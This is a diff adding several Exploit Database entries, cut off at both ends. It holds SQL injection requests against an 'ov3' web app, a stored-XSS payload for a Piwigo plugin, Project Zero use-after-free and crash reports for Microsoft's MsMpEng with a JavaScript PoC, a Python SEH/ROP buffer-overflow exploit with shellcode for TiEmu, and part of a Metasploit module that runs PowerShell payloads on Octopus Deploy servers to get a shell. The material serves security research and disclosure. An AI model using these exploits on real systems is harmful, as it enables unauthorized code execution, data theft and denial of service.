Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: ZSL/3.0
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
|
||||||
|
DNT: 1
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
rs%5Bstatus%5D=0&rs%5Bmodule%5D='&rs%5Btask_language%5D=&rs%5Bpath%5D=&rs%5Bsmall%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=
|
||||||
|
|
||||||
|
|
||||||
|
Response:
|
||||||
|
|
||||||
|
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_multilingual FROM ov_data WHERE m_id=\'<br>File: <br>Line: <br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND language_id='') OR (tl_pos=0 AND m_id=-1)' at line 1<br>SELECT COUNT(*) AS num FROM tasklists_5575 WHERE (tl_pos=0 AND m_id=\' AND language_id='') OR (tl_pos=0 AND m_id=-1)<br>File: /opt/www/admin/functions/functions.inc<br>Line: 499<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_name FROM ov_data WHERE m_id=\'<br>File: <br>Line:
|
||||||
|
|
||||||
|
|
||||||
|
PoC SQL Injection via GET requests:
|
||||||
|
-----------------------------------
|
||||||
|
|
||||||
|
GET /ov3.php?todo=manager&manager=task&sub=show&rs[status]=2&rs[module]='&rs[path]=&rs[changed]=0&&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
|
||||||
|
|
||||||
|
GET /ov3.php?todo=manager&manager=user&sub=profile&do=show&rs[edit_id]=1483825'&rs[home]=1&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
|
||||||
|
|
97
platforms/php/webapps/42098.txt
Executable file
97
platforms/php/webapps/42098.txt
Executable file
|
@ -0,0 +1,97 @@
|
||||||
|
# Exploit Title: Piwigo plugin Facetag , Persistent XSS
|
||||||
|
# Date: 31-05-2017
|
||||||
|
# Extension Version: 0.0.3
|
||||||
|
# Software Link: http://piwigo.org/basics/downloads
|
||||||
|
# Extension link : http://piwigo.org/ext/extension_view.php?eid=845
|
||||||
|
# Exploit Author: Touhid M.Shaikh
|
||||||
|
# Contact: http://twitter.com/touhidshaikh22
|
||||||
|
# Website: http://touhidshaikh.com/
|
||||||
|
# Category: webapps
|
||||||
|
|
||||||
|
|
||||||
|
######## Description ########
|
||||||
|
<!--
|
||||||
|
What is Piwigo ?
|
||||||
|
Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and open source.
|
||||||
|
|
||||||
|
Facetag Extension in piwigo.
|
||||||
|
This plugin extends piwigo with the function to tag faces in pictures. It adds an additional button on photo pages that let you tag a face on the picture.
|
||||||
|
-->
|
||||||
|
|
||||||
|
######## Video PoC and Article ########
|
||||||
|
|
||||||
|
https://www.youtube.com/watch?v=_ha7XBT_Omo
|
||||||
|
http://touhidshaikh.com/blog/poc/facetag-ext-piwigo-stored-xss/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
######## Attact Description ########
|
||||||
|
<!--
|
||||||
|
|
||||||
|
Facetag Extention provide additional button on photo page for visitor or user to tag any name oh that image.
|
||||||
|
|
||||||
|
|
||||||
|
NOTE : "www.test.touhid" this domain not registed on internet. This domain host in touhid's local machine.
|
||||||
|
|
||||||
|
==>START<==
|
||||||
|
Any visitor or registered user can perform this.
|
||||||
|
|
||||||
|
FaceTag Extension adds an additional button on photo pages that let you tag a face on the picture for visitor and registered user.
|
||||||
|
|
||||||
|
click on that button after that click on image where you want to tag a name just enter you malicious javascript and press Enter its stored as a keyword.
|
||||||
|
|
||||||
|
Your Javascript Stored in Server's Database and execute every time when any visitor visit that photo or in keyword page.
|
||||||
|
|
||||||
|
-->
|
||||||
|
|
||||||
|
######## Proof of Concept ########
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
-----------------------------OUR REQUEST--------------
|
||||||
|
POST /ws.php?format=json&method=facetag.changeTag HTTP/1.1
|
||||||
|
Host: www.test.touhid
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Referer: http://www.test.touhid/picture.php?/12/category/3
|
||||||
|
Content-Length: 129
|
||||||
|
Cookie: pwg_id=9i94hdpsn2dfulaecm6hqvsj77
|
||||||
|
Connection: close
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
|
||||||
|
id=-2&imageId=12&name=Hello%3Cscript%3Eprompt(22)%3C%2Fscript%3E&top=0.40539324471120086&left=0.4577020202020202&width=0&height=0
|
||||||
|
|
||||||
|
---------------------------END HERE---------------------------
|
||||||
|
|
||||||
|
Stored in database.(SQl query to stored tag in dataabase)
|
||||||
|
-------------------ws_function.php(facetag plugin)--------------
|
||||||
|
|
||||||
|
function facetag_changeTag($params, &$service) {
|
||||||
|
if (!$service->isPost()) {
|
||||||
|
return new PwgError(405, "This method requires HTTP POST");
|
||||||
|
}
|
||||||
|
|
||||||
|
$id = $params['id'];
|
||||||
|
|
||||||
|
$answer = array();
|
||||||
|
if($id < 0) {
|
||||||
|
$answer['action'] = "INSERT";
|
||||||
|
$answer['id'] = addImageFaceTag($params['imageId'], $params['name'], $params['top'], $params['left'], $params['width'], $params['height']);
|
||||||
|
} elseif($params['name'] == "__DELETE__") {
|
||||||
|
$answer['action'] = "DELETE";
|
||||||
|
$answer['id'] = removeImageFaceTag($id, $params['imageId']);
|
||||||
|
} else {
|
||||||
|
$answer['action'] = "UPDATE";
|
||||||
|
removeImageFaceTag($id, $params['imageId']);
|
||||||
|
$answer['id'] = addImageFaceTag($params['imageId'], $params['name'], $params['top'], $params['left'], $params['width'], $params['height']);
|
||||||
|
}
|
||||||
|
|
||||||
|
return json_encode($answer);
|
||||||
|
}
|
||||||
|
|
||||||
|
--------------------------END HERE---------------------------
|
||||||
|
|
35
platforms/windows/dos/42081.txt
Executable file
35
platforms/windows/dos/42081.txt
Executable file
|
@ -0,0 +1,35 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1261
|
||||||
|
|
||||||
|
A detailed introduction to MsMpEng can be found in issue #1252 , so I will skip the background story here.
|
||||||
|
|
||||||
|
Through fuzzing, we have discovered a number of ways to crash the service (and specifically code in the mpengine.dll module), by feeding it with malformed input testcases to scan. A summary of our findings is shown in the table below:
|
||||||
|
|
||||||
|
+==============+===================================+==========================+=============+====================================================+=============================================+
|
||||||
|
| Name | Type | Requirements | Access Type | Observed symbol | Comments |
|
||||||
|
+==============+===================================+==========================+=============+====================================================+=============================================+
|
||||||
|
| corruption_1 | Heap buffer overflow | PageHeap for MpMsEng.exe | - | free() called by NET_thread_ctx_t__FreeState_void_ | One-byte overflow. |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| corruption_2 | Heap corruption | PageHeap for MpMsEng.exe | - | free() called by CRsaPublicKey__Decrypt_uchar | May crash in other ways, e.g. invalid read. |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| corruption_3 | Unspecified memory corruption (?) | - | - | netvm_parse_routine_netinvoke_handle_t | Different crashes with/out PageHeap. |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| null_1 | NULL Pointer Dereference | - | READ | nUFSP_pdf__handleXFA_PDF_Value | |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| null_2 | NULL Pointer Dereference | - | READ | nUFSP_pdf__expandObjectStreams_void | |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| null_3 | NULL Pointer Dereference | - | READ | NET_context_unsigned | |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| null_4 | NULL Pointer Dereference | - | READ | nUFSP_pdf__expandObjectStreams_void_ | Similar to null_2, may be the same bug. |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| div_by_zero | Division by zero | - | - | x86_code_cost__get_cost_int | |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
| recursion | Deep/infinite recursion | - | - | __EH_prolog3_catch_GS | |
|
||||||
|
+--------------+-----------------------------------+--------------------------+-------------+----------------------------------------------------+---------------------------------------------+
|
||||||
|
|
||||||
|
The "corruption_1-3" issues are the most important ones, as they represent memory corruption problems and could potentially lead to execution of arbitrary code. On the other hand, "null_1-4", "div_by_zero" and "recursion" are low severity bugs that can only be used to bring the service process down. We have verified that all listed crashes occur on Windows 7 as soon as an offending sample is saved to disk and discovered by MsMpEng. For "corruption_1-2", the PageHeap mechanism must be enabled for the MsMpEng.exe program in order to reliably observe the unhandled exception.
|
||||||
|
|
||||||
|
Attached is a ZIP archive (password: "mpengbugs") with up to 3 testcases for each of the 9 unique crashes.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42081.zip
|
71
platforms/windows/dos/42088.txt
Executable file
71
platforms/windows/dos/42088.txt
Executable file
|
@ -0,0 +1,71 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258
|
||||||
|
|
||||||
|
MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.
|
||||||
|
|
||||||
|
During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.
|
||||||
|
|
||||||
|
MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.
|
||||||
|
|
||||||
|
The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.
|
||||||
|
|
||||||
|
The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.
|
||||||
|
|
||||||
|
The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:
|
||||||
|
|
||||||
|
JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
|
||||||
|
|
||||||
|
JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
|
||||||
|
// nothing (apart from maybe JSBench?) is rooting this_str as long as we
|
||||||
|
// don't keep any references to it in script
|
||||||
|
// the native code needs to prevent GC to keep it alive while it needs it
|
||||||
|
|
||||||
|
int len = JsString::numBytes(this_str); // okay because this can't cause GC
|
||||||
|
|
||||||
|
int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );
|
||||||
|
|
||||||
|
// this calls valueOf() on the first argument
|
||||||
|
// toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()
|
||||||
|
|
||||||
|
// It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
|
||||||
|
// however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
|
||||||
|
// which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
|
||||||
|
// the native stack isn't scanned and no script objects reference it.)
|
||||||
|
|
||||||
|
// the code continues and does something like this:
|
||||||
|
JsString::initBySub(jsState, this_str ...
|
||||||
|
|
||||||
|
// that ends up calling a virtual method on the free’d this_str
|
||||||
|
|
||||||
|
|
||||||
|
PoC script:
|
||||||
|
|
||||||
|
function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);
|
||||||
|
|
||||||
|
PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
Here's a clearer PoC not all on one line for the mpengine shell :)
|
||||||
|
|
||||||
|
//*************************
|
||||||
|
function gc() {
|
||||||
|
eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
|
||||||
|
};
|
||||||
|
|
||||||
|
var x = Object();
|
||||||
|
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
|
||||||
|
// if we do want to return a string object it has to have more than three characters so it doesn't use the
|
||||||
|
// inline string optimization
|
||||||
|
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};
|
||||||
|
|
||||||
|
var l = Object();
|
||||||
|
l.valueOf = function() {gc(); return 1;};
|
||||||
|
|
||||||
|
String.prototype.slice.call(x, l);
|
||||||
|
//************************
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42088.zip
|
11
platforms/windows/dos/42092.txt
Executable file
11
platforms/windows/dos/42092.txt
Executable file
|
@ -0,0 +1,11 @@
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1259
|
||||||
|
|
||||||
|
In JsRuntimeState::setCaller, it saves the current caller in the JsRuntimeState object(rcx+158h in 64-bit). But the garbage collector doesn't mark this saved value. So it results in a UAF.
|
||||||
|
|
||||||
|
Unlike in our test environment(Linux), it doesn't make reliable crashes on Windows. So I used another bug(#1258) to confirm the bug. If the UAF bug doesn't exist, the "crash" function will not be called(See poc.js).
|
||||||
|
|
||||||
|
The password of the zip file is "calleruaf"
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42092.zip
|
82
platforms/windows/local/42087.py
Executable file
82
platforms/windows/local/42087.py
Executable file
|
@ -0,0 +1,82 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
|
||||||
|
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
|
||||||
|
# Tested on: Windows 7 32 bits
|
||||||
|
#
|
||||||
|
# Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is
|
||||||
|
# prone to a stack-based buffer overflow vulnerability because the
|
||||||
|
application fails to perform adequate
|
||||||
|
# boundary-checks on user-supplied input.
|
||||||
|
#
|
||||||
|
# What is TiEmu?
|
||||||
|
# TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 / TI92+ / V200PLT hand-helds.
|
||||||
|
#
|
||||||
|
# An attacker could exploit this vulnerability to execute arbitrary code in the
|
||||||
|
# context of the application. Failed exploit attempts will result in a
|
||||||
|
# denial-of-service condition.
|
||||||
|
#
|
||||||
|
# Vendor homepage: http://lpg.ticalc.org/prj_tiemu/
|
||||||
|
|
||||||
|
import struct, subprocess, os
|
||||||
|
file = "C:/Program Files/TiEmu/bin/tiemu.exe"
|
||||||
|
junk = "A" * 452
|
||||||
|
nseh = struct.pack('L', 0x06eb9090)
|
||||||
|
seh = struct.pack('L', 0x6c3010ba) # pop ebx # pop ebp # ret -
|
||||||
|
libtifiles2-5.dll
|
||||||
|
|
||||||
|
def create_rop_chain():
|
||||||
|
rop_gadgets = [
|
||||||
|
0x75ecd264, # POP ECX # RETN [SHELL32.DLL]
|
||||||
|
0x711e1388, # ptr to &VirtualProtect() [IAT COMCTL32.DLL]
|
||||||
|
0x7549fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
|
||||||
|
0x628daecc, # POP EBP # RETN [tcl84.dll]
|
||||||
|
0x76c319b8, # & push esp # ret [kernel32.dll]
|
||||||
|
0x7606c311, # POP EAX # RETN [SHELL32.DLL]
|
||||||
|
0xfffffdff, # Value to negate, will become 0x00000201
|
||||||
|
0x75de6a90, # NEG EAX # RETN [SHLWAPI.dll]
|
||||||
|
0x76c389d9, # XCHG EAX,EBX # RETN [kernel32.dll]
|
||||||
|
0x754f3b2f, # POP EAX # RETN [MSCTF.dll]
|
||||||
|
0xffffffc0, # Value to negate, will become 0x00000040
|
||||||
|
0x76b13193, # NEG EAX # RETN [USER32.dll]
|
||||||
|
0x76c38a09, # XCHG EAX,EDX # RETN [kernel32.dll]
|
||||||
|
0x757dfbf7, # POP ECX # RETN [ole32.dll]
|
||||||
|
0x71256c9b, # &Writable location [COMCTL32.DLL]
|
||||||
|
0x77048567, # POP EDI # RETN [RPCRT4.dll]
|
||||||
|
0x757e65e2, # RETN (ROP NOP) [ole32.dll]
|
||||||
|
0x76cd6ee4, # POP EAX # RETN [kernel32.dll]
|
||||||
|
0x90909090, # nop
|
||||||
|
0x76ac6d21, # PUSHAD # RETN [OLEAUT32.dll]
|
||||||
|
]
|
||||||
|
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
|
||||||
|
|
||||||
|
rop_chain = create_rop_chain()
|
||||||
|
|
||||||
|
shellcode = "\x90"*6
|
||||||
|
shellcode += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
|
||||||
|
shellcode += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
|
||||||
|
shellcode += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
|
||||||
|
shellcode += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
|
||||||
|
shellcode += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
|
||||||
|
shellcode += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
|
||||||
|
shellcode += "\x45\x81\x3e\x43\x72\x65\x61\x75"
|
||||||
|
shellcode += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
|
||||||
|
shellcode += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
|
||||||
|
shellcode += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
|
||||||
|
shellcode += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
|
||||||
|
shellcode += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
|
||||||
|
shellcode += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
|
||||||
|
shellcode += "\x53\x53\x53\x53\x52\x53\xff\xd7"
|
||||||
|
|
||||||
|
junk2 = "A" * 2000
|
||||||
|
|
||||||
|
buffer = junk + nseh + seh + rop_chain + shellcode + junk2
|
||||||
|
|
||||||
|
try:
|
||||||
|
print(buffer)
|
||||||
|
subprocess.call([file, buffer])
|
||||||
|
except OSError as e:
|
||||||
|
if e.errno == os.errno.ENOENT:
|
||||||
|
print "TiEmu not found!"
|
||||||
|
else:
|
||||||
|
print "Error executing exploit"
|
||||||
|
raise
|
406
platforms/windows/remote/42083.rb
Executable file
406
platforms/windows/remote/42083.rb
Executable file
|
@ -0,0 +1,406 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
require 'json'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Octopus Deploy Authenticated Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module can be used to execute a payload on an Octopus Deploy server given
|
||||||
|
valid credentials or an API key. The payload is execued as a powershell script step
|
||||||
|
on the Octopus Deploy server during a deployment.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
# Octopus Deploy docs
|
||||||
|
[ 'URL', 'https://octopus.com' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'WfsDelay' => 30,
|
||||||
|
'EXITFUNC' => 'process'
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'May 15 2017'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||||
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||||
|
OptString.new('APIKEY', [ false, 'API key to use instead of username and password']),
|
||||||
|
OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']),
|
||||||
|
OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = nil
|
||||||
|
if datastore['APIKEY']
|
||||||
|
res = check_api_key
|
||||||
|
elsif datastore['USERNAME'] && datastore['PASSWORD']
|
||||||
|
res = do_login
|
||||||
|
else
|
||||||
|
begin
|
||||||
|
fail_with(Failure::BadConfig, 'Need username and password or API key')
|
||||||
|
rescue Msf::Exploit::Failed => e
|
||||||
|
vprint_error(e.message)
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
end
|
||||||
|
disconnect
|
||||||
|
return CheckCode::Unknown if res.nil?
|
||||||
|
if res.code.between?(400, 499)
|
||||||
|
vprint_error("Server rejected the credentials")
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Generate the powershell payload
|
||||||
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)
|
||||||
|
step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))
|
||||||
|
session = create_octopus_session unless datastore['APIKEY']
|
||||||
|
|
||||||
|
#
|
||||||
|
# Get project steps
|
||||||
|
#
|
||||||
|
print_status("Getting available projects")
|
||||||
|
project = get_project(session)
|
||||||
|
project_id = project['Id']
|
||||||
|
project_name = project['Name']
|
||||||
|
print_status("Using project #{project_name}")
|
||||||
|
|
||||||
|
print_status("Getting steps to #{project_name}")
|
||||||
|
steps = get_steps(session, project_id)
|
||||||
|
added_step = make_powershell_step(command, step_name)
|
||||||
|
steps['Steps'].insert(0, added_step)
|
||||||
|
modified_steps = JSON.pretty_generate(steps)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Add step
|
||||||
|
#
|
||||||
|
print_status("Adding step #{step_name} to #{project_name}")
|
||||||
|
put_steps(session, project_id, modified_steps)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Make release
|
||||||
|
#
|
||||||
|
print_status('Getting available channels')
|
||||||
|
channels = get_channel(session, project_id)
|
||||||
|
channel = channels['Items'][0]['Id']
|
||||||
|
channel_name = channels['Items'][0]['Name']
|
||||||
|
print_status("Using channel #{channel_name}")
|
||||||
|
|
||||||
|
print_status('Getting next version')
|
||||||
|
version = get_version(session, project_id, channel)
|
||||||
|
print_status("Using version #{version}")
|
||||||
|
|
||||||
|
release_params = {
|
||||||
|
"ProjectId" => project_id,
|
||||||
|
"ChannelId" => channel,
|
||||||
|
"Version" => version,
|
||||||
|
"SelectedPackages" => []
|
||||||
|
}
|
||||||
|
release_params_str = JSON.pretty_generate(release_params)
|
||||||
|
print_status('Creating release')
|
||||||
|
release_id = do_release(session, release_params_str)
|
||||||
|
print_status("Release #{release_id} created")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Deploy
|
||||||
|
#
|
||||||
|
dash = do_get_dashboard(session, project_id)
|
||||||
|
|
||||||
|
environment = dash['Environments'][0]['Id']
|
||||||
|
environment_name = dash['Environments'][0]['Name']
|
||||||
|
skip_steps = do_get_skip_steps(session, release_id, environment, step_name)
|
||||||
|
deployment_params = {
|
||||||
|
'ReleaseId' => release_id,
|
||||||
|
'EnvironmentId' => environment,
|
||||||
|
'SkipActions' => skip_steps,
|
||||||
|
'ForcePackageDownload' => 'False',
|
||||||
|
'UseGuidedFailure' => 'False',
|
||||||
|
'FormValues' => {}
|
||||||
|
}
|
||||||
|
deployment_params_str = JSON.pretty_generate(deployment_params)
|
||||||
|
print_status("Deploying #{project_name} version #{version} to #{environment_name}")
|
||||||
|
do_deployment(session, deployment_params_str)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Delete step
|
||||||
|
#
|
||||||
|
print_status("Getting updated steps to #{project_name}")
|
||||||
|
steps = get_steps(session, project_id)
|
||||||
|
print_status("Deleting step #{step_name} from #{project_name}")
|
||||||
|
steps['Steps'].each do |item|
|
||||||
|
steps['Steps'].delete(item) if item['Name'] == step_name
|
||||||
|
end
|
||||||
|
modified_steps = JSON.pretty_generate(steps)
|
||||||
|
put_steps(session, project_id, modified_steps)
|
||||||
|
print_status("Step #{step_name} deleted")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Wait for shell
|
||||||
|
#
|
||||||
|
handler
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_project(session)
|
||||||
|
path = 'api/projects'
|
||||||
|
res = send_octopus_get_request(session, path, 'Get projects')
|
||||||
|
body = parse_json_response(res)
|
||||||
|
body['Items'].each do |item|
|
||||||
|
return item if item['IsDisabled'] == false
|
||||||
|
end
|
||||||
|
fail_with(Failure::Unknown, 'No suitable projects found.')
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_steps(session, project_id)
|
||||||
|
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
|
||||||
|
res = send_octopus_get_request(session, path, 'Get steps')
|
||||||
|
body = parse_json_response(res)
|
||||||
|
body
|
||||||
|
end
|
||||||
|
|
||||||
|
def put_steps(session, project_id, steps)
|
||||||
|
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
|
||||||
|
send_octopus_put_request(session, path, 'Put steps', steps)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_channel(session, project_id)
|
||||||
|
path = "api/projects/#{project_id}/channels"
|
||||||
|
res = send_octopus_get_request(session, path, 'Get channel')
|
||||||
|
parse_json_response(res)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_version(session, project_id, channel)
|
||||||
|
path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}"
|
||||||
|
res = send_octopus_get_request(session, path, 'Get version')
|
||||||
|
body = parse_json_response(res)
|
||||||
|
body['NextVersionIncrement']
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_get_skip_steps(session, release, environment, payload_step_name)
|
||||||
|
path = "api/releases/#{release}/deployments/preview/#{environment}"
|
||||||
|
res = send_octopus_get_request(session, path, 'Get skip steps')
|
||||||
|
body = parse_json_response(res)
|
||||||
|
skip_steps = []
|
||||||
|
body['StepsToExecute'].each do |item|
|
||||||
|
if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped']
|
||||||
|
skip_steps.push(item['ActionId'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
skip_steps
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_release(session, params)
|
||||||
|
path = 'api/releases'
|
||||||
|
res = send_octopus_post_request(session, path, 'Do release', params)
|
||||||
|
body = parse_json_response(res)
|
||||||
|
body['Id']
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_get_dashboard(session, project_id)
|
||||||
|
path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}"
|
||||||
|
res = send_octopus_get_request(session, path, 'Get dashboard')
|
||||||
|
parse_json_response(res)
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_deployment(session, params)
|
||||||
|
path = 'api/deployments'
|
||||||
|
send_octopus_post_request(session, path, 'Do deployment', params)
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_powershell_step(ps_payload, step_name)
|
||||||
|
prop = {
|
||||||
|
'Octopus.Action.RunOnServer' => 'true',
|
||||||
|
'Octopus.Action.Script.Syntax' => 'PowerShell',
|
||||||
|
'Octopus.Action.Script.ScriptSource' => 'Inline',
|
||||||
|
'Octopus.Action.Script.ScriptBody' => ps_payload
|
||||||
|
}
|
||||||
